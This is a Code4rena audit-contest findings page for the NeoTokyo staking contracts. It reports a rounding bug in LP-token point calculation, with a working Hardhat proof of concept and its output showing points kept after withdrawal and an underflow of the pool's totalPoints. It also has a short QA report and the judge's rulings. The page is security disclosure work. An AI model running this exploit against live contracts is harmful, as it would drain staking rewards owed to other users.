Platform: Code4rena
Start Date: 08/03/2023
Pot Size: $60,500 USDC
Total HM: 2
Participants: 123
Period: 7 days
Judge: hansfriese
Id: 220
League: ETH
Rank: 32/123
Findings: 2
Award: $184.41
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
154.74 USDC - $154.74
https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1623-L1630 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1155 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1298
The rounding in the calculation below (used in NeoTokyoStaker.sol#L1623 and NeoTokyoStaker.sol#L1155 when staking and withdrawing LP tokens) results in zero points for any amount of LP tokens smaller than 1e16
.
points = amount * 100 / 1e18 * multiplier / _DIVISOR;
This bug can break the staking logic in several exploitable ways:
1e16
) withdrawals. The attacker will not lose any points in this process. As a result, the attacker will be able to collect staking rewards corresponding to the original position because reward is calculated solely based on points (see NeoTokyoStaker.sol#L1298).totalPoints
(in the LP token pool) by performing a larger number of small (<= 1e16
) staking transactions and then one single withdrawal of the staked tokens. This will result in reduced / zero staking rewards when calling getPoolRewards(...)
with the LP token asset type, thus breaking LP token staking for all users.Consider the following modified version of the "with staked LP tokens" tests:
describe('POC', function () { let aliceStakeTime, bobStakeTime, priorBlockNumber, priorBlock; beforeEach(async () => { await NTStaking.connect(owner.signer).configureLP(LPToken.address); }); it('alice keeps points after withdrawing position', async function () { // Stake Alice's LP tokens for 30 days. await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS['30'], ethers.utils.parseEther('1'), 0, 0 ); priorBlockNumber = await ethers.provider.getBlockNumber(); priorBlock = await ethers.provider.getBlock(priorBlockNumber); aliceStakeTime = priorBlock.timestamp; await ethers.provider.send('evm_setNextBlockTimestamp', [ aliceStakeTime + (60 * 60 * 24 * 30) ]); for (var j = 0; j < 100; j++) { await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther('1').div(200) ); await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther('1').div(200) ); } let alicePosition = await NTStaking.getStakerPositions(alice.address); alicePosition.stakedLPPosition.amount.should.be.equal(0); console.log('Alice still has ' + alicePosition.stakedLPPosition.points + ' points'); }); it('alice underflows pool totalPoints', async function () { // Stake Alice's LP tokens for 30 days. for (var j = 0; j < 100; j++) { await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS['30'], ethers.utils.parseEther('1').div(200), 0, 0 ); await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS['30'], ethers.utils.parseEther('1').div(200), 0, 0 ); } let priorBlockNumber = await ethers.provider.getBlockNumber(); let priorBlock = await ethers.provider.getBlock(priorBlockNumber); aliceStakeTime = priorBlock.timestamp; // Withdraw Alice's tokens to underflow the points. await ethers.provider.send('evm_setNextBlockTimestamp', [ aliceStakeTime + (60 * 60 * 24 * 30) ]); await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther('1') ); let alicePosition = await NTStaking.getStakerPositions(alice.address); console.log('Alice has ' + alicePosition.stakedLPPosition.points + ' points (and this is the total as well)'); // Stake Bob's LP tokens. await NTStaking.connect(bob.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS['30'], ethers.utils.parseEther('50'), 0, 0 ); priorBlockNumber = await ethers.provider.getBlockNumber(); priorBlock = await ethers.provider.getBlock(priorBlockNumber); bobStakeTime = priorBlock.timestamp; await ethers.provider.send('evm_setNextBlockTimestamp', [ bobStakeTime + (60 * 60 * 24 * 30) ]); let bobPoolRewards = await NTStaking.connect(bob.signer).getPoolReward(ASSETS.LP.id, bob.address); console.log('Bob will recieve the following rewards: ' + bobPoolRewards); }); });
The output is:
jekapi@c4$ npx hardhat test --grep "POC" ... Testing BYTES 2.0 & Neo Tokyo Staker with example configuration POC Alice still has 100 points ✔ alice keeps points after withdrawing position (7163ms) Alice has 115792089237316195423570985008687907853269984665640564039457584007913129639836 points (and this is the total as well) Bob will recieve the following rewards: 0,0 ✔ alice underflows pool totalPoints (5922ms)
In the first test, we can see that alice withdrew her staked LP tokens without losing any points which will result in "free" staking rewards. In the second test, alice is the first to stake which allows her to easily underflow the total number of points in the pool (this can be done when alice is not the first staker but requires a larger number of transactions). As a result, bob recieves no rewards for staking a considerble amount of tokens.
Manual review, Hardhat
Consider imposing a minimum stake / withdraw amount or changing the point calculation formula. Also, it is better to use decimals()
instead of assuming 1e18
.
#0 - c4-judge
2023-03-16T06:30:38Z
hansfriese marked the issue as satisfactory
#1 - hansfriese
2023-03-16T06:33:29Z
It contains the same impact as #348 and the similar impact to #450. Will mark as a duplicate of #348 for now and will reconsider later.
#2 - c4-judge
2023-03-16T06:33:50Z
hansfriese marked the issue as duplicate of #348
#3 - c4-judge
2023-03-21T09:19:20Z
hansfriese marked the issue as duplicate of #261
🌟 Selected for report: 0xSmartContract
Also found by: 0x1f8b, 0x6980, 0xAgro, 0xSolus, 0xhacksmithh, 0xkazim, ABA, BPZ, BowTiedOriole, ChainReview, DadeKuma, DeFiHackLabs, Deathstore, DevABDee, Diana, Dravee, Dug, Englave, Go-Langer, Haipls, IceBear, Inspex, Jeiwan, Kek, Kresh, Madalad, MatricksDeCoder, MyFDsYours, RaymondFam, Rolezn, SAAJ, Sathish9098, Taloner, Udsen, Viktor_Cortess, atharvasama, ayden, brgltd, btk, carlitox477, catellatech, chaduke, codeislight, deadrxsezzz, descharre, erictee, fatherOfBlocks, favelanky, glcanvas, handsomegiraffe, jasonxiale, jekapi, joestakey, lemonr, luxartvinsec, martin, matrix_0wl, minhquanym, mrpathfindr, nadin, oyc_109, parsely, peanuts, pfedprog, rbserver, rokso, saian, santipu_, scokaf, slvDev, tsvetanovv, ubl4nk, ulqiorra, yamapyblack, zaskoh
29.6697 USDC - $29.67
When staking S1 citizens, their vault influences the points calculation for staking rewards. User can also attach non-component vaults to S1 citizens when staking. When calculating the credit yield for the citizen only component vaults are counted since citizenVaultId
(non-zero only for component vaults) is passed to the function instead of vaultId
(which is correct for both component and non-component vaults). This means the staker will receive more rewards by disassembling the citizen and recreating it with the attached vault.
getReward
can be called for any addressThe function for claiming staking rewards in BYTES2.sol#L114 can be called with any _to
address including address(0)
and other users. It is unclear why this is not limited to msg.sender
only (which is consistent with all _to
values used in the code base) and there is no check that _to
is not the zero address (which is not a risk because _mint
will revert after rewards are calculated).
In stake(...)
& withdraw(...)
the first check for asset type allows 4 (only fails for types strictly larger than 4) which is an "off-by-1" error. This check has no impact because EVM will panic when _assetType
is out of enum bounds. Relevant code areas: NeoTokyoStaker.sol#L1205 and NeoTokyoStaker.sol#L1668.
#0 - c4-judge
2023-03-17T03:10:20Z
hansfriese marked the issue as grade-b